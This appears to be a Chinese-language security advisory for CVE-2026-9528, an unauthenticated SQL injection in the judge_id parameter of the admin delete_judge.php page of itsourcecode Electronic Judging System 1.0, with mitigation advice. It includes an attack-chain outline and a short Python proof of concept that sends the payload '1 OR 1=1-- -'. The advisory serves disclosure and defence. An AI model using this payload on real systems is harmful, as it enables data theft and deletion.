IPBUF安全漏洞报告
English
CVE-2026-9528 CVSS 7.3 高危

CVE-2026-9528 itsourcecode评分系统SQL注入漏洞

披露日期: 2026-05-26

漏洞信息

漏洞编号
CVE-2026-9528
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
itsourcecode Electronic Judging System

相关标签

SQL注入itsourcecodeElectronic Judging SystemCVE-2026-9528高危漏洞无需认证

漏洞概述

itsourcecode Electronic Judging System 1.0版本存在严重的SQL注入漏洞。攻击者可利用/admin/delete_judge.php文件中judge_id参数的过滤缺失,无需认证即可远程执行恶意SQL语句,进而窃取、篡改或删除数据库敏感信息,威胁系统安全。

技术细节

该漏洞位于itsourcecode Electronic Judging System 1.0的/admin/delete_judge.php接口中。系统在接收judge_id参数时,未进行有效的安全过滤或类型检查,直接将其拼接到SQL查询语句中执行。由于该接口缺乏必要的身份验证机制(PR:N),未经授权的攻击者可通过网络访问该端点。攻击者通过构造特定的SQL Payload(如UNION查询或基于时间的盲注),可操纵后端数据库逻辑。CVSS 3.1评分为7.3,属于高危漏洞,攻击复杂度低,且利用代码已公开,极易被自动化工具扫描利用,严重影响数据的机密性、完整性和可用性。

攻击链分析

STEP 1
侦察与探测
攻击者识别目标系统运行itsourcecode Electronic Judging System 1.0,并发现存在/admin/delete_judge.php接口。
STEP 2
构造Payload
攻击者针对judge_id参数构造SQL注入Payload,例如利用逻辑运算符或UNION查询。
STEP 3
发送恶意请求
攻击者无需登录,直接向目标服务器发送包含恶意judge_id参数的HTTP GET/POST请求。
STEP 4
执行注入攻击
后端数据库解析并执行了被篡改的SQL语句,导致数据泄露、删除或修改。
STEP 5
达成攻击目标
攻击者成功获取数据库权限或破坏系统数据完整性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://example.com/admin/delete_judge.php" # Malicious payload demonstrating SQL Injection # Example: Logic manipulation to delete all records or extract data payload = "1 OR 1=1-- -" parameters = { "judge_id": payload } try: response = requests.get(target_url, params=parameters) if response.status_code == 200: print("[+] Request sent successfully. Check database for impact.") else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")

影响范围

itsourcecode Electronic Judging System 1.0

防御指南

临时缓解措施
建议在WAF(Web应用防火墙)中配置规则,拦截包含常见SQL注入特征(如单引号、UNION、OR 1=1等)的针对judge_id参数的请求。若非业务必须,暂时禁用delete_judge.php文件或将管理后台限制在内网访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表